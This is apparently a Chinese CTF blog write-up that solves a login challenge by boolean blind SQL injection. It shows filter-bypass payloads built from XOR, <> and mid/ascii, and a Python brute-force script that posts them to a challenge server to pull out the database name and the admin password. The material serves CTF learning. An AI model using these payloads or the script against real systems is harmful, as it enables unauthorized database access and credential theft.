login3(SKCTF)

2018/08/05 CTF CTF 2366 words views

一道 SQL 注入的题目,里面有不少绕过的技巧,值得好好来分析一下。

0x01 题目

题目链接

多次

0x02 解答

step1:尝试

拿到这种题目首先就是测试一下输入,我一般是用admin admin作为用户名和密码来测试,此时回显password error!也就是用户名是存在的,只是密码错误。

然后测试一下123 admin,回显的是username does not exist!。这说明了啥呢?说明了在后台是对用户名进行查询了的,我们不妨猜测一下后台的 SQL 语句:

select username, password from users where username='XXX'

根据以上分析,我们其实可以根据回显的不同进行布尔盲注。

step2: 布尔盲注测试

在进行布尔盲注测试的时候会发现这里过滤了一些字符(回显为illegal character),这里过滤了and 空格 逗号 等号 for information。这里最精华的地方就是对这些过滤进行绕过:

  1. and <—> ^
  2. 等号 <—><>(这里也可以用减号,看相减之后是否为 0,然后进行异或)
  3. mid(xxx,from 1 for 1) (for 和逗号被过滤)<—>ascii()(如果传入一个字符串那么就会取第一个字符的ascii码值)

下面就是按照 SQL 注入的一般套路来:

1.先查询数据库名

admin'^(ascii(mid(database()from(1)))<>1)#

注:

mid() 和 substring() 相同:
mid(xxx,1,1)
mid(xxx,from 1 for 1)

根据以上分析,我们可以构造暴破数据库名的脚本,首先 payload 为:

admin'^(ascii(mid(database()from(1)))<>1)^0#
或
admin'^(ascii(mid(database()from(1)))<>1)#
或
admin'^(ascii(substring(database()from(1)))<>1)#
#encoding: utf-8
import requests
import string

rq = requests.session()

base_url = "http://118.89.219.210:49167/index.php"
s = string.digits+string.lowercase

# payload = "admin'^(ascii(mid(database()from(1)))<>1)^0#"


def get_database():
	database = ""
	for i in range(30):
		flag = 0
		for j in s:
			#上面三个 payload 任意一个都行
			payload = "admin'^(ascii(substring(database()from({})))<>{})#".format(str(i), ord(j))
			data = {
				"username": payload,
				"password": "admin"
			}
			response = rq.post(base_url, data=data)

			if "error" in response.text:
				database += j
				flag = 1
			if flag == 1:
				break
		print database
	print database


get_database()
# blindsql

2.查询表名

因为这里 information 被过滤了,按照原来的套路来就不行了。那应该怎么办呢?看别人的 writeup 说是猜测这里所要查询的表名是 admin,然后验证一下是否存在这样一个表admin’^(select(1)from(admin))^1#如果存在,那么回显password error!

这里要着重解释一下为什么在之前的 payload 和这里后面要多加一个^1^0

如果这里不在后面加^1,那么不管(select(1)from(admin))对或错都会回显username does not exist!。因为如果存在 admin 的话那么就是 1^1=0会回显username does not exist! ;如果不存在 admin,那么就会报错,报错在这里会回显username does not exist!。加了^1就很好的解决了这个问题,可以区分报错与正确。之前的 payload 也是为了防止这个问题。

因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。因为这里语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过可以改变最后是^0还是^1,如果改与不改返回值相同,那就是有语法错误。

[这里猜测外别的方法我暂时不知道。⭐️]

3.查询字段名

其实这里不需要查,因为我们还是猜测这里的字段名为password,这个没啥可说的。然后我们稍微验证一下admin'^(select(count(password))from(admin))^1#,回显password error!,说明是存在pasword字段的。

4.暴破目标数据

payload:

admin'^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#

脚本跟之前的差不多,就不放了。

Search

    Table of Contents